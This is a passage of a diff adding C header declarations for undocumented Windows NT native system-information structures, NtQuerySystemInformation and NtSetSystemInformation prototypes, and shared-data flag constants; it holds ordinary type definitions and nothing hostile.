PROCESS_ENERGY_VALUES_EXTENSION Extension; +} PROCESS_EXTENDED_ENERGY_VALUES, * PPROCESS_EXTENDED_ENERGY_VALUES; + +// private +typedef enum _SYSTEM_PROCESS_CLASSIFICATION +{ + SystemProcessClassificationNormal, + SystemProcessClassificationSystem, + SystemProcessClassificationSecureSystem, + SystemProcessClassificationMemCompression, + SystemProcessClassificationRegistry, // REDSTONE4 + SystemProcessClassificationMaximum +} SYSTEM_PROCESS_CLASSIFICATION; + +// private +typedef struct _SYSTEM_PROCESS_INFORMATION_EXTENSION +{ + PROCESS_DISK_COUNTERS DiskCounters; + ULONGLONG ContextSwitches; + union + { + ULONG Flags; + struct + { + ULONG HasStrongId : 1; + ULONG Classification : 4; // SYSTEM_PROCESS_CLASSIFICATION + ULONG BackgroundActivityModerated : 1; + ULONG Spare : 26; + }; + }; + ULONG UserSidOffset; + ULONG PackageFullNameOffset; // since THRESHOLD + PROCESS_ENERGY_VALUES EnergyValues; // since THRESHOLD + ULONG AppIdOffset; // since THRESHOLD + SIZE_T SharedCommitCharge; // since THRESHOLD2 + ULONG JobObjectId; // since REDSTONE + ULONG SpareUlong; // since REDSTONE + ULONGLONG ProcessSequenceNumber; +} SYSTEM_PROCESS_INFORMATION_EXTENSION, * PSYSTEM_PROCESS_INFORMATION_EXTENSION; + +// private +typedef struct _SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION +{ + BOOLEAN EfiLauncherEnabled; +} SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION, * PSYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX +{ + BOOLEAN DebuggerAllowed; + BOOLEAN DebuggerEnabled; + BOOLEAN DebuggerPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX, * PSYSTEM_KERNEL_DEBUGGER_INFORMATION_EX; + +// private +typedef struct _SYSTEM_ELAM_CERTIFICATE_INFORMATION +{ + HANDLE ElamDriverFile; +} SYSTEM_ELAM_CERTIFICATE_INFORMATION, * PSYSTEM_ELAM_CERTIFICATE_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_FEATURES_INFORMATION +{ + ULONGLONG ProcessorFeatureBits; + ULONGLONG Reserved[3]; +} SYSTEM_PROCESSOR_FEATURES_INFORMATION, * PSYSTEM_PROCESSOR_FEATURES_INFORMATION; + +// private +typedef struct _SYSTEM_MANUFACTURING_INFORMATION +{ + ULONG Options; + UNICODE_STRING ProfileName; +} SYSTEM_MANUFACTURING_INFORMATION, * PSYSTEM_MANUFACTURING_INFORMATION; + +// private +typedef struct _SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION +{ + BOOLEAN Enabled; +} SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION, * PSYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION; + +// private +typedef struct _HV_DETAILS +{ + ULONG Data[4]; +} HV_DETAILS, * PHV_DETAILS; + +// private +typedef struct _SYSTEM_HYPERVISOR_DETAIL_INFORMATION +{ + HV_DETAILS HvVendorAndMaxFunction; + HV_DETAILS HypervisorInterface; + HV_DETAILS HypervisorVersion; + HV_DETAILS HvFeatures; + HV_DETAILS HwFeatures; + HV_DETAILS EnlightenmentInfo; + HV_DETAILS ImplementationLimits; +} SYSTEM_HYPERVISOR_DETAIL_INFORMATION, * PSYSTEM_HYPERVISOR_DETAIL_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION +{ + ULONGLONG Cycles[2][4]; +} SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION, * PSYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION; + +// private +typedef struct _SYSTEM_TPM_INFORMATION +{ + ULONG Flags; +} SYSTEM_TPM_INFORMATION, * PSYSTEM_TPM_INFORMATION; + +// private +typedef struct _SYSTEM_VSM_PROTECTION_INFORMATION +{ + BOOLEAN DmaProtectionsAvailable; + BOOLEAN DmaProtectionsInUse; + BOOLEAN HardwareMbecAvailable; // REDSTONE4 (CVE-2018-3639) + BOOLEAN ApicVirtualizationAvailable; // 20H1 +} SYSTEM_VSM_PROTECTION_INFORMATION, * PSYSTEM_VSM_PROTECTION_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_DEBUGGER_FLAGS +{ + BOOLEAN KernelDebuggerIgnoreUmExceptions; +} SYSTEM_KERNEL_DEBUGGER_FLAGS, * PSYSTEM_KERNEL_DEBUGGER_FLAGS; + +// private +typedef struct _SYSTEM_CODEINTEGRITYPOLICY_INFORMATION +{ + ULONG Options; + ULONG HVCIOptions; + ULONGLONG Version; + GUID PolicyGuid; +} SYSTEM_CODEINTEGRITYPOLICY_INFORMATION, * PSYSTEM_CODEINTEGRITYPOLICY_INFORMATION; + +// private +typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION +{ + BOOLEAN SecureKernelRunning : 1; + BOOLEAN HvciEnabled : 1; + BOOLEAN HvciStrictMode : 1; + BOOLEAN DebugEnabled : 1; + BOOLEAN FirmwarePageProtection : 1; + BOOLEAN EncryptionKeyAvailable : 1; + BOOLEAN SpareFlags : 2; + BOOLEAN TrustletRunning : 1; + BOOLEAN HvciDisableAllowed : 1; + BOOLEAN SpareFlags2 : 6; + BOOLEAN Spare0[6]; + ULONGLONG Spare1; +} SYSTEM_ISOLATED_USER_MODE_INFORMATION, * PSYSTEM_ISOLATED_USER_MODE_INFORMATION; + +// private +typedef struct _SYSTEM_SINGLE_MODULE_INFORMATION +{ + PVOID TargetModuleAddress; + RTL_PROCESS_MODULE_INFORMATION_EX ExInfo; +} SYSTEM_SINGLE_MODULE_INFORMATION, * PSYSTEM_SINGLE_MODULE_INFORMATION; + +// private +typedef struct _SYSTEM_INTERRUPT_CPU_SET_INFORMATION +{ + ULONG Gsiv; + USHORT Group; + ULONGLONG CpuSets; +} SYSTEM_INTERRUPT_CPU_SET_INFORMATION, * PSYSTEM_INTERRUPT_CPU_SET_INFORMATION; + +// private +typedef struct _SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION +{ + SYSTEM_SECUREBOOT_POLICY_INFORMATION PolicyInformation; + ULONG PolicySize; + UCHAR Policy[1]; +} SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION, * PSYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION; + +// private +typedef struct _SYSTEM_ROOT_SILO_INFORMATION +{ + ULONG NumberOfSilos; + ULONG SiloIdList[1]; +} SYSTEM_ROOT_SILO_INFORMATION, * PSYSTEM_ROOT_SILO_INFORMATION; + +// private +typedef struct _SYSTEM_CPU_SET_TAG_INFORMATION +{ + ULONGLONG Tag; + ULONGLONG CpuSets[1]; +} SYSTEM_CPU_SET_TAG_INFORMATION, * PSYSTEM_CPU_SET_TAG_INFORMATION; + +// private +typedef struct _SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION +{ + ULONG ExtentCount; + ULONG ValidStructureSize; + ULONG NextExtentIndex; + ULONG ExtentRestart; + ULONG CycleCount; + ULONG TimeoutCount; + ULONGLONG CycleTime; + ULONGLONG CycleTimeMax; + ULONGLONG ExtentTime; + ULONG ExtentTimeIndex; + ULONG ExtentTimeMaxIndex; + ULONGLONG ExtentTimeMax; + ULONGLONG HyperFlushTimeMax; + ULONGLONG TranslateVaTimeMax; + ULONGLONG DebugExemptionCount; + ULONGLONG TbHitCount; + ULONGLONG TbMissCount; + ULONGLONG VinaPendingYield; + ULONGLONG HashCycles; + ULONG HistogramOffset; + ULONG HistogramBuckets; + ULONG HistogramShift; + ULONG Reserved1; + ULONGLONG PageNotPresentCount; +} SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION, * PSYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION; + +// private +typedef struct _SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION +{ + ULONG PlatformManifestSize; + UCHAR PlatformManifest[1]; +} SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION, * PSYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION; + +// private +typedef struct _SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT +{ + ULONG Gsiv; + UCHAR ControllerInterrupt; + UCHAR EdgeInterrupt; + UCHAR IsPrimaryInterrupt; + GROUP_AFFINITY TargetAffinity; +} SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT, * PSYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT; + +// private +typedef struct _SYSTEM_MEMORY_USAGE_INFORMATION +{ + ULONGLONG TotalPhysicalBytes; + ULONGLONG AvailableBytes; + LONGLONG ResidentAvailableBytes; + ULONGLONG CommittedBytes; + ULONGLONG SharedCommittedBytes; + ULONGLONG CommitLimitBytes; + ULONGLONG PeakCommitmentBytes; +} SYSTEM_MEMORY_USAGE_INFORMATION, * PSYSTEM_MEMORY_USAGE_INFORMATION; + +// private +typedef struct _SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION +{ + HANDLE ImageFile; + ULONG Type; // REDSTONE4 +} SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION, * PSYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION; + +// private +typedef struct _SYSTEM_PHYSICAL_MEMORY_INFORMATION +{ + ULONGLONG TotalPhysicalBytes; + ULONGLONG LowestPhysicalAddress; + ULONGLONG HighestPhysicalAddress; +} SYSTEM_PHYSICAL_MEMORY_INFORMATION, * PSYSTEM_PHYSICAL_MEMORY_INFORMATION; + +// private +typedef enum _SYSTEM_ACTIVITY_MODERATION_STATE +{ + SystemActivityModerationStateSystemManaged, + SystemActivityModerationStateUserManagedAllowThrottling, + SystemActivityModerationStateUserManagedDisableThrottling, + MaxSystemActivityModerationState +} SYSTEM_ACTIVITY_MODERATION_STATE; + +// private - REDSTONE2 +typedef struct _SYSTEM_ACTIVITY_MODERATION_EXE_STATE // REDSTONE3: Renamed SYSTEM_ACTIVITY_MODERATION_INFO +{ + UNICODE_STRING ExePathNt; + SYSTEM_ACTIVITY_MODERATION_STATE ModerationState; +} SYSTEM_ACTIVITY_MODERATION_EXE_STATE, * PSYSTEM_ACTIVITY_MODERATION_EXE_STATE; + +typedef enum _SYSTEM_ACTIVITY_MODERATION_APP_TYPE +{ + SystemActivityModerationAppTypeClassic, + SystemActivityModerationAppTypePackaged, + MaxSystemActivityModerationAppType +} SYSTEM_ACTIVITY_MODERATION_APP_TYPE; + +// private - REDSTONE3 +typedef struct _SYSTEM_ACTIVITY_MODERATION_INFO +{ + UNICODE_STRING Identifier; + SYSTEM_ACTIVITY_MODERATION_STATE ModerationState; + SYSTEM_ACTIVITY_MODERATION_APP_TYPE AppType; +} SYSTEM_ACTIVITY_MODERATION_INFO, * PSYSTEM_ACTIVITY_MODERATION_INFO; + +// private +typedef struct _SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS +{ + HANDLE UserKeyHandle; +} SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS, * PSYSTEM_ACTIVITY_MODERATION_USER_SETTINGS; + +// private +typedef struct _SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG Locked : 1; + ULONG UnlockApplied : 1; // Unlockable field removed 19H1 + ULONG UnlockIdValid : 1; + ULONG Reserved : 29; + }; + }; + UCHAR UnlockId[32]; // REDSTONE4 +} SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION, * PSYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION; + +// private +typedef struct _SYSTEM_FLUSH_INFORMATION +{ + ULONG SupportedFlushMethods; + ULONG ProcessorCacheFlushSize; + ULONGLONG SystemFlushCapabilities; + ULONGLONG Reserved[2]; +} SYSTEM_FLUSH_INFORMATION, * PSYSTEM_FLUSH_INFORMATION; + +// private +typedef struct _SYSTEM_WRITE_CONSTRAINT_INFORMATION +{ + ULONG WriteConstraintPolicy; + ULONG Reserved; +} SYSTEM_WRITE_CONSTRAINT_INFORMATION, * PSYSTEM_WRITE_CONSTRAINT_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION +{ + union + { + ULONG KvaShadowFlags; + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG KvaShadowRequired : 1; // REDSTONE4 + ULONG KvaShadowRequiredAvailable : 1; + ULONG InvalidPteBit : 6; + ULONG L1DataCacheFlushSupported : 1; + ULONG L1TerminalFaultMitigationPresent : 1; + ULONG Reserved : 18; + }; + }; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +// private +typedef struct _SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION +{ + HANDLE FileHandle; + ULONG ImageSize; + PVOID Image; +} SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION, * PSYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION +{ + PVOID HypervisorSharedUserVa; +} SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION, * PSYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION; + +// private +typedef struct _SYSTEM_FIRMWARE_PARTITION_INFORMATION +{ + UNICODE_STRING FirmwarePartition; +} SYSTEM_FIRMWARE_PARTITION_INFORMATION, * PSYSTEM_FIRMWARE_PARTITION_INFORMATION; + +// private +typedef struct _SYSTEM_SPECULATION_CONTROL_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG BpbEnabled : 1; + ULONG BpbDisabledSystemPolicy : 1; + ULONG BpbDisabledNoHardwareSupport : 1; + ULONG SpecCtrlEnumerated : 1; + ULONG SpecCmdEnumerated : 1; + ULONG IbrsPresent : 1; + ULONG StibpPresent : 1; + ULONG SmepPresent : 1; + ULONG SpeculativeStoreBypassDisableAvailable : 1; // REDSTONE4 (CVE-2018-3639) + ULONG SpeculativeStoreBypassDisableSupported : 1; + ULONG SpeculativeStoreBypassDisabledSystemWide : 1; + ULONG SpeculativeStoreBypassDisabledKernel : 1; + ULONG SpeculativeStoreBypassDisableRequired : 1; + ULONG BpbDisabledKernelToUser : 1; + ULONG SpecCtrlRetpolineEnabled : 1; + ULONG SpecCtrlImportOptimizationEnabled : 1; + ULONG EnhancedIbrs : 1; // since 19H1 + ULONG HvL1tfStatusAvailable : 1; + ULONG HvL1tfProcessorNotAffected : 1; + ULONG HvL1tfMigitationEnabled : 1; + ULONG HvL1tfMigitationNotEnabled_Hardware : 1; + ULONG HvL1tfMigitationNotEnabled_LoadOption : 1; + ULONG HvL1tfMigitationNotEnabled_CoreScheduler : 1; + ULONG EnhancedIbrsReported : 1; + ULONG MdsHardwareProtected : 1; // since 19H2 + ULONG MbClearEnabled : 1; + ULONG MbClearReported : 1; + ULONG Reserved : 5; + }; + }; +} SYSTEM_SPECULATION_CONTROL_INFORMATION, * PSYSTEM_SPECULATION_CONTROL_INFORMATION; + +// private +typedef struct _SYSTEM_DMA_GUARD_POLICY_INFORMATION +{ + BOOLEAN DmaGuardPolicyEnabled; +} SYSTEM_DMA_GUARD_POLICY_INFORMATION, * PSYSTEM_DMA_GUARD_POLICY_INFORMATION; + +// private +typedef struct _SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION +{ + UCHAR EnclaveLaunchSigner[32]; +} SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION, * PSYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION; + +// private +typedef struct _SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION +{ + ULONGLONG WorkloadClass; + ULONGLONG CpuSets[1]; +} SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION, * PSYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION; + +// private +typedef struct _SYSTEM_SECURITY_MODEL_INFORMATION +{ + union + { + ULONG SecurityModelFlags; + struct + { + ULONG SModeAdminlessEnabled : 1; + ULONG AllowDeviceOwnerProtectionDowngrade : 1; + ULONG Reserved : 30; + }; + }; +} SYSTEM_SECURITY_MODEL_INFORMATION, * PSYSTEM_SECURITY_MODEL_INFORMATION; + +// private +typedef struct _SYSTEM_FEATURE_CONFIGURATION_INFORMATION +{ + ULONGLONG ChangeStamp; + struct _RTL_FEATURE_CONFIGURATION* Configuration; // see ntrtl.h for types +} SYSTEM_FEATURE_CONFIGURATION_INFORMATION, * PSYSTEM_FEATURE_CONFIGURATION_INFORMATION; + +// private +typedef struct _SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION_ENTRY +{ + ULONGLONG ChangeStamp; + PVOID Section; + ULONGLONG Size; +} SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION_ENTRY, * PSYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION_ENTRY; + +// private +typedef struct _SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION +{ + ULONGLONG OverallChangeStamp; + SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION_ENTRY Descriptors[3]; +} SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION, * PSYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION; + +// private +typedef union _SECURE_SPECULATION_CONTROL_INFORMATION +{ + ULONG KvaShadowSupported : 1; + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG MbClearEnabled : 1; + ULONG L1TFMitigated : 1; // since 20H2 + ULONG BpbEnabled : 1; + ULONG IbrsPresent : 1; + ULONG EnhancedIbrs : 1; + ULONG StibpPresent : 1; + ULONG SsbdSupported : 1; + ULONG SsbdRequired : 1; + ULONG BpbKernelToUser : 1; + ULONG BpbUserToKernel : 1; + ULONG Reserved : 18; +} SECURE_SPECULATION_CONTROL_INFORMATION, * PSECURE_SPECULATION_CONTROL_INFORMATION; + +// private +typedef struct _SYSTEM_FIRMWARE_RAMDISK_INFORMATION +{ + ULONG Version; + ULONG BlockSize; + ULONG_PTR BaseAddress; + SIZE_T Size; +} SYSTEM_FIRMWARE_RAMDISK_INFORMATION, * PSYSTEM_FIRMWARE_RAMDISK_INFORMATION; + +// private +typedef struct _SYSTEM_SHADOW_STACK_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG CetCapable : 1; + ULONG UserCetAllowed : 1; + ULONG ReservedForUserCet : 6; + ULONG KernelCetEnabled : 1; + ULONG ReservedForKernelCet : 7; + ULONG Reserved : 16; + }; + }; +} SYSTEM_SHADOW_STACK_INFORMATION, * PSYSTEM_SHADOW_STACK_INFORMATION; + +// private +typedef union _SYSTEM_BUILD_VERSION_INFORMATION_FLAGS +{ + ULONG Value32; + struct + { + ULONG IsTopLevel : 1; + ULONG IsChecked : 1; + }; +} SYSTEM_BUILD_VERSION_INFORMATION_FLAGS, * PSYSTEM_BUILD_VERSION_INFORMATION_FLAGS; + +// private +typedef struct _SYSTEM_BUILD_VERSION_INFORMATION +{ + USHORT LayerNumber; + USHORT LayerCount; + ULONG OsMajorVersion; + ULONG OsMinorVersion; + ULONG NtBuildNumber; + ULONG NtBuildQfe; + UCHAR LayerName[128]; + UCHAR NtBuildBranch[128]; + UCHAR NtBuildLab[128]; + UCHAR NtBuildLabEx[128]; + UCHAR NtBuildStamp[26]; + UCHAR NtBuildArch[16]; + SYSTEM_BUILD_VERSION_INFORMATION_FLAGS Flags; +} SYSTEM_BUILD_VERSION_INFORMATION, * PSYSTEM_BUILD_VERSION_INFORMATION; + +// private +typedef struct _SYSTEM_POOL_LIMIT_MEM_INFO +{ + ULONGLONG MemoryLimit; + ULONGLONG NotificationLimit; +} SYSTEM_POOL_LIMIT_MEM_INFO, * PSYSTEM_POOL_LIMIT_MEM_INFO; + +// private +typedef struct _SYSTEM_POOL_LIMIT_INFO +{ + ULONG PoolTag; + SYSTEM_POOL_LIMIT_MEM_INFO MemLimits[2]; + WNF_STATE_NAME NotificationHandle; +} SYSTEM_POOL_LIMIT_INFO, * PSYSTEM_POOL_LIMIT_INFO; + +// private +typedef struct _SYSTEM_POOL_LIMIT_INFORMATION +{ + ULONG Version; + ULONG EntryCount; + SYSTEM_POOL_LIMIT_INFO LimitEntries[1]; +} SYSTEM_POOL_LIMIT_INFORMATION, * PSYSTEM_POOL_LIMIT_INFORMATION; + +// private +//typedef struct _SYSTEM_POOL_ZEROING_INFORMATION +//{ +// BOOLEAN PoolZeroingSupportPresent; +//} SYSTEM_POOL_ZEROING_INFORMATION, *PSYSTEM_POOL_ZEROING_INFORMATION; + +// private +typedef struct _HV_MINROOT_NUMA_LPS +{ + ULONG NodeIndex; + ULONG_PTR Mask[16]; +} HV_MINROOT_NUMA_LPS, * PHV_MINROOT_NUMA_LPS; + +// private +typedef enum _SYSTEM_IOMMU_STATE +{ + IommuStateBlock, + IommuStateUnblock +} SYSTEM_IOMMU_STATE; + +// private +typedef struct _SYSTEM_IOMMU_STATE_INFORMATION +{ + SYSTEM_IOMMU_STATE State; + PVOID Pdo; +} SYSTEM_IOMMU_STATE_INFORMATION, * PSYSTEM_IOMMU_STATE_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_MINROOT_INFORMATION +{ + ULONG NumProc; + ULONG RootProc; + ULONG RootProcNumaNodesSpecified; + USHORT RootProcNumaNodes[64]; + ULONG RootProcPerCore; + ULONG RootProcPerNode; + ULONG RootProcNumaNodesLpsSpecified; + HV_MINROOT_NUMA_LPS RootProcNumaNodeLps[64]; +} SYSTEM_HYPERVISOR_MINROOT_INFORMATION, * PSYSTEM_HYPERVISOR_MINROOT_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION +{ + ULONG RangeCount; + ULONG_PTR RangeArray[1]; +} SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION, * PSYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION; + +// private +typedef struct _SYSTEM_POINTER_AUTH_INFORMATION +{ + union + { + USHORT SupportedFlags; + struct + { + USHORT AddressAuthSupported : 1; + USHORT AddressAuthQarma : 1; + USHORT GenericAuthSupported : 1; + USHORT GenericAuthQarma : 1; + USHORT SupportedReserved : 12; + }; + }; + union + { + USHORT EnabledFlags; + struct + { + USHORT UserPerProcessIpAuthEnabled : 1; + USHORT UserGlobalIpAuthEnabled : 1; + USHORT UserEnabledReserved : 6; + USHORT KernelIpAuthEnabled : 1; + USHORT KernelEnabledReserved : 7; + }; + }; +} SYSTEM_POINTER_AUTH_INFORMATION, * PSYSTEM_POINTER_AUTH_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemInformationEx( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemInformationEx( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength +); + +// +// Define data shared between kernel and user mode. +// +// N.B. User mode has read only access to this data +// + +#ifndef _KERNEL_MODE +#define PROCESSOR_FEATURE_MAX 64 + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +// +// WARNING: This structure must have exactly the same layout for 32- and +// 64-bit systems. The layout of this structure cannot change and new +// fields can only be added at the end of the structure (unless a gap +// can be exploited). Deprecated fields cannot be deleted. Platform +// specific fields are included on all systems. +// +// Layout exactness is required for Wow64 support of 32-bit applications +// on Win64 systems. +// +// The layout itself cannot change since this structure has been exported +// in ntddk, ntifs.h, and nthal.h for some time. +// +// Define NX support policy values. +// + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +// +// SEH chain validation policies. +// +// N.B. These constants must not be changed because the ldr relies on their +// semantic meaning. +// + +#define SEH_VALIDATION_POLICY_ON 0 +#define SEH_VALIDATION_POLICY_OFF 1 +#define SEH_VALIDATION_POLICY_TELEMETRY 2 +#define SEH_VALIDATION_POLICY_DEFER 3 + +// +// Global shared data flags and manipulation macros. +// + +#define SHARED_GLOBAL_FLAGS_ERROR_PORT_V 0x0 +#define SHARED_GLOBAL_FLAGS_ERROR_PORT \ + (1UL << SHARED_GLOBAL_FLAGS_ERROR_PORT_V) + +#define SHARED_GLOBAL_FLAGS_ELEVATION_ENABLED_V 0x1 +#define SHARED_GLOBAL_FLAGS_ELEVATION_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_ELEVATION_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_VIRT_ENABLED_V 0x2 +#define SHARED_GLOBAL_FLAGS_VIRT_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_VIRT_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_INSTALLER_DETECT_ENABLED_V 0x3 +#define SHARED_GLOBAL_FLAGS_INSTALLER_DETECT_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_INSTALLER_DETECT_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_LKG_ENABLED_V 0x4 +#define SHARED_GLOBAL_FLAGS_LKG_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_LKG_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_DYNAMIC_PROC_ENABLED_V 0x5 +#define SHARED_GLOBAL_FLAGS_DYNAMIC_PROC_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_DYNAMIC_PROC_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_CONSOLE_BROKER_ENABLED_V 0x6 +#define SHARED_GLOBAL_FLAGS_CONSOLE_BROKER_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_CONSOLE_BROKER_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_SECURE_BOOT_ENABLED_V 0x7 +#define SHARED_GLOBAL_FLAGS_SECURE_BOOT_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_SECURE_BOOT_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_MULTI_SESSION_SKU_V 0x8 +#define SHARED_GLOBAL_FLAGS_MULTI_SESSION_SKU \ + (1UL << SHARED_GLOBAL_FLAGS_MULTI_SESSION_SKU_V) + +#define SHARED_GLOBAL_FLAGS_MULTIUSERS_IN_SESSION_SKU_V 0x9 +#define SHARED_GLOBAL_FLAGS_MULTIUSERS_IN_SESSION_SKU \ + (1UL << SHARED_GLOBAL_FLAGS_MULTIUSERS_IN_SESSION_SKU_V) + +#define SHARED_GLOBAL_FLAGS_STATE_SEPARATION_ENABLED_V 0xA +#define SHARED_GLOBAL_FLAGS_STATE_SEPARATION_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_STATE_SEPARATION_ENABLED_V) + +#define EX_INIT_BITS(Flags, Bit) \ + *((Flags)) |= (Bit) // Safe to use before concurrently accessible + +#define EX_TEST_SET_BIT(Flags, Bit) \ + InterlockedBitTestAndSet ((PLONG)(Flags), (Bit)) + +#define EX_TEST_CLEAR_BIT(Flags, Bit) \ + InterlockedBitTestAndReset ((PLONG)(Flags), (Bit)) + +// +// Define legal values for the SystemCall member. +// + +#define SYSTEM_CALL_SYSCALL 0 +#define SYSTEM_CALL_INT_2E 1 + +// +// Define flags for QPC bypass information. None of these flags may be set +// unless bypass is enabled. This is for compat with existing code which +// compares this value to zero to detect bypass enablement. +// + +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_ENABLED (0x01) +#define 